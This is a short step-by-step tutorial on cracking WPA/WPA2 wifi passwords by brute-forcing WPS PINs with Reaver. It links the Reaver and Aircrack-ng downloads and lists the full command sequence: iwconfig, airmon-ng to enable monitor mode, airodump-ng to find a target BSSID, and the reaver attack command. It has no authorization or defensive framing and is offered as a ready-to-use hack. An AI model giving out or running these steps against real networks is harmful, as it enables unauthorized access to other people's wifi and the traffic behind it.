WIFI WPA Hack Step by Step with Reaver.. Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases and has been tested against a wide variety of access points and WPS implementations.
What you need :
Download Reaver: https://github.com/gabrielrcouto/reaver-wps
Download Aircrack-ng: https://www.aircrack-ng.org/
From terminal iwconfig -used to discover your wifi card name (wlan0)
From terminal airmon-ng start wlan0 (make a note of monitor interface name normally mon0)
From terminal airodump-ng wlan0 or airodump-ng mon0
Copy the networks BSSID (look for traffic between bssid and station)
start reaver
From terminal reaver -i mon0 -b BSSID -vv